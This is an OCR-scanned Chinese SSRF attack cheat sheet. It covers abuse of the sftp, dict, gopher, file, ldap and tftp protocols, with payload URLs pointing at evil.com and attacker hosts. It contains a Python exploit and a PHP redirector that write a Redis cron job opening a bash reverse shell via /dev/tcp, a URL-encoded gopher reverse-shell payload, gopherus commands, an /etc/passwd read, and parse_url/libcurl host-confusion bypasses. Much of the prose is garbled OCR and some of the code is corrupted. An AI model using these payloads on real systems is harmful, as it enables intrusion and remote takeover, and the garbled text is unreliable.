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1.file_get_contents()
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3.curl_exec() BRIATRZHF 302 BEERRY
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2.Request (33 HttpClient 3 FHZ)
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LR
1BE IFMNER % 5 Java curl Eﬁer{é - ASP.NET

ssh2 X X X
allow_url_fopen NET:SSH2
SR

099 X X X X
allow_url_fopen
PR

expect X X X X
allow_url_fopen

ldap X X X a X

php . X X X X

_ . ZRTF
zlib/bzip/zip X X X X

allow_url_fopen

SFTP

X8, Sftp X3 SSH X fEEHtHIY (SSH File Transfer Protocol) , SR X{4HEHNIY (Secure File Transfer
Protocol) , XE—M5 SSH {T8E—RENEMINN, BEBETERESEERL, HUEMNAXHITIE.
http://test.net/ssrf.php?url=sftp://evil.com:11111/
evil.com:

$ nc -v -1 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)SSH-2.0-1ibssh2_1.4.2

DICT

DICT ZZRRRNImOFNRSESHRE, SAREHLRIHIT redis NFIA, SBERBERMAE—EHAY SSRF+dict 1Y
+ redis RN getshell, LEHMIKEHILIAERIEE, P DICT 1HiX7E SSRF BAEZEEAN,



#IiF DICT S F:

http://safebuff.com/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -1 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)CLIENT libcurl 7.40.0

HOMig O -
http://192.168.37.18/ssrf/?url=dict://127.0.0.1:9999
{&H dict t1iX[a@ Redis #3EETE shell

%F dict thiX:

dict://serverip:port/ @<: S
MRSZH[OIROIEKR < 28, FEREBN*ML \ r\n(CRLF), XiREF AR T EF

W

DICT 37 redis B97/A (51 T BEMEY SSRF IRiRAIFTES):

#!1/usr/bin/env python

import requests
host = '42.62.67.198"

port = '6379'
bhost = 'fuzz.wuyun.org'
bport = '8080'

vul_httpurl = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfolurl="
_location = "http://fuzz.wuyun.org/302.php'
shell_location = "http://fuzz.wuyun.org/shell.php’


https://links.jianshu.com/go?to=dict://serverip:port/

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall’.format(
host = host,
port = port)

exp_uri = "{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri

print requests.get(exp_uri).content

_payload '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}".format(
host = host,
port = port,
bhost = bhost,
bport = bport)
exp_uri = "{vul_httpurl}{0}{1}%23helo. jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri
print requests.get(exp_uri).content

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/".format(
host = host,
port = port)

exp_uri = "{vul_httpurl}{03}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

_payload = '?s=dict%26ip={host}%26port={port}¥%26data=config:set:dbfilename:root’.format(
host = host,
port = port)

exp_uri = "{vul_httpurl}{03}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri

print requests.get(exp_uri).content

_payload = '?7s=dict%26ip={host}%26port={port}%26data=save’.format(
host = host,



port = port)
exp_uri = "{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri

print requests.get(exp_uri).content

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
1\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$Sbport}\\x200>\\x261\\x0a\\x0a\\x0a\"");

7>

gopher

EMPNEBEENEK—R, 22— TCP/IP BihiY, FANAIAFRZEHIE, BRI GET iRt AILA POST &K, Er] BAKHB
. WiE mysql. redis. fastcgi F%F, BZMEEAN, BRICE gopher IMXBIEIAIGOE 70, FRLAZNRIAIE http 1
WicBEiwO, BIMEEF—DER gopher 1Y payload BITH: gopherus (3= payload & URL Hi3—/X, thFiE
ZR4mh3)

gopher RIA#41T get M post MEfh—LEWHINAILNIE, LERZE POST, FEE A& TRIEF A, tEaAMagE i NigaIIk
I:_E, J:ﬁzzjzﬁ:, POST —E’?ﬁ&%%c gopher T/j]‘i)\(ﬂ’\]%ft gopher:/ip:port/ + payload
TEENMF

http://192.168.37.18/ssrf/?url=gopher://192.168.37.18:80/%20GET%20/index.php

http://192.168.34.29/ssrf/index.php?url=gopher://192.168.34.29:80/_P0ST%20%2fssrf%2fflag.php%2@HTTP%2f
1.1%250d%250aH0ost%3A%20192.168.34.29%250d%250aContent-Type%3A%20application¥%2fx-www-form-urlencoded%250
d%250aContent-Length%3A%206%250d%2500%250d%250af1ag%3D1 (fEnginx 1.11TFPOSTEUREAMTN, HEZWPOSTARD -


https://github.com/tarunkant/Gopherus

MELRKEIRRA, MERRNEZERNES)

gopherus --exploit zabbix
gopherus --exploit redis
gopherus --exploit mysql

gopherZESSRFHFEAMN— NN, BFEFTHEZNMNES A,

gopher RIEYFRIRIQIE? E oMt el BARFR A EEINY, AT REEMZMIMNA9IER, K redis. mysqgl. fastcgi &,
EEaN R redis:

[root@Centos ~]
> 2018/09/25 10:35:24.944863 length=18 from=0 to=17
*1\r

$8\r
flushall\r

< 2018/09/25 10:35:24.948320 1length=5 from=0 to=4
+0K\r

> 2018/09/25 10:35:24.955995 1length=88 from=0 to=87
*3\r

$3\r
set\r
$1\r

I\r
$61\r

*¥/1 * * * ¥ pash -1 >& /dev/tcp/192.168.86.131/8080 0>&1

\r

< 2018/09/25 10:35:24.956209 1length=5 from=0 to=4
+0K\r

> 2018/09/25 10:35:24.959588 length=57 from=0 to=56
*4\r



$6\r

config\r

$3\r

set\r

$3\r

dir\r

$16\r

/var/spool/cron/\r

< 2018/09/25 10:35:24.960138
+0K\r

> 2018/09/25 10:35:24.967473
*4\r

$6\r

config\r

$3\r

set\r

$10\r

dbfilename\r

$4\r

root\r

< 2018/09/25 10:35:24.967772
+0K\r

> 2018/09/25 10:35:24.974068
*1\r

$4\r

save\r

< 2018/09/25 10:35:24.976103
+0K\r

> 2018/09/25 10:35:24.983836
*1\r

$4\r

quit\r

< 2018/@09/25 10:35:24.984123
+0K\r

5| JoyChou JM{&EAVFEHRRAR:

length=5 from=0 to=4

length=52 from=0 to=51

length=5 from=0 to=4

length=14 from=0 to=13

length=5 from=0 to=4

length=14 from=0 to=13

length=5 from=0 to=4



import sys

exp = LI ]
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[@] in '><+':
continue

elif line[-3:-1] == r'\r':

if len(line) ==
exp = exp + '%0a%0d%0a’
else:
line = line.replace(r'\r', '%0d%0a')

line = line.replace('\n', "")
exp = exp + line

elif line == "\x0@a':
exp = exp + '%0a’

else:
line = line.replace('\n', "")
exp = exp + line

print exp
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o ZTHITEMRN %0a
¥J3& gopher tHXFIA:
1%0d%0a$8%0d % Oaflushall % 0d % 0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0
a%0a*/1* * * * pash -i >& /dev/tcp/192.168.86.131/8080
0>&1%0a%0a%0a%0d%0a4 %0d % 0a$6 % 0d % 0aconfig%0d%0a$3%0d % Oaset %0d % 0a$3 % 0d % Oadir%0d
%0a$16 %0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10
%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a 1% 0d % 0a$4%0d % Oasave % 0d % 0a1%0d%0a$4%0d%
0aquit%0d%0a
ANRZERR IP MmO, BIEA $61 hFEEEY, $61 XRRFRHEKREN 61 1FT, LERI EXP EIZ
%0a%0a%0a*/1 * * * * bash —i >& /dev/tcp/192.168.86.131/8080 0>&1%0a%0a%0a%0a, 3+54+4=58,
At curl MK, IRE 4 4 OK RBARLINIAIT

file

http://127.0.0.1/?url=file:///etc/passwd
http://192.168.37.18/ssrf/?url=file:///E:/readme. txt

ldap

http://safebuff.com/redirect.php?url=ldap://localhost:11211/%@astats%@aquit
TFTP

http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:

Gid 15



1. FIF 302 BkiEsid thiX PR
2.127 ER 2 EREp 2 A ithithtt 45533 127.0.0.1 BIFRHE]

3. TEHRM —> ssrfmap

CTF #15

php 8 parse_url 1 libcurl
BE (—1 SSRF #A mysql WAE) AT, XBWARE CTF @adiEr, K AERE:
url->php parse url (iTiEip) ->TEurl&EHo (TAEFHEE) ->curl RIEBER

BIF)A parse_url 1 libcurl 33 url SBFIES LD,

;TE% url: bash scheme: [//[user[:password]@lhost[:port]][/path][?query][#fragment]

XETIE url FARE 2815,
php parse_url:
host: ILE&RE—1 @EEMNEEIVAY host

libcurl:
host: LELZE— @EEMFEEIVAY host

a: http://u:p@a.com:80@b.com/

php T4

PRUSEY SIS IR


https://github.com/swisskyrepo/SSRFmap
http://u:p%40a.com%3A80@b.com/

scneima: nup

host: b.com

user: u

pass: p@a.com :80
libcurl fRIT4E5R:
schema: http

host: a.com

user: u

pass: p

port: 80

[EER @b.com / St ZBgiE

HATTAME—D URL Hitik, AARIE php A host 2 b.com T libcurl SEFRIERB— MR,

http://u:p:@a.com:3306@b.com/
http://u:@a.com:3306@b.com/

BEEXELE—1E, FEREZERIRIAT php @i URL BRTIETBFANNF. BFSHTIE, A, a.com:3306
ETTH, 3306 REEERlE, BRMEREIROMIIER curl 3REXE!I, {BZ1RIE fc3986 MERI:
gopher://foo@[cafebabe.cf]@yolo.com:3306

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP
literal within square brackets (“[“and “]%). This is the only place where square bracket characters are allowed
in the URI syntax.

IP-literal = “[“( IPv6address / IPvFuture) “]”

thEt2i% lip] 2— host B9FZ, libcurl FEEFAHRIAN [] BEMRE host


mailto:p@a.com

BE M7 dEEI RN
gopher://foo@localhost: f@ricterz.me :3306/
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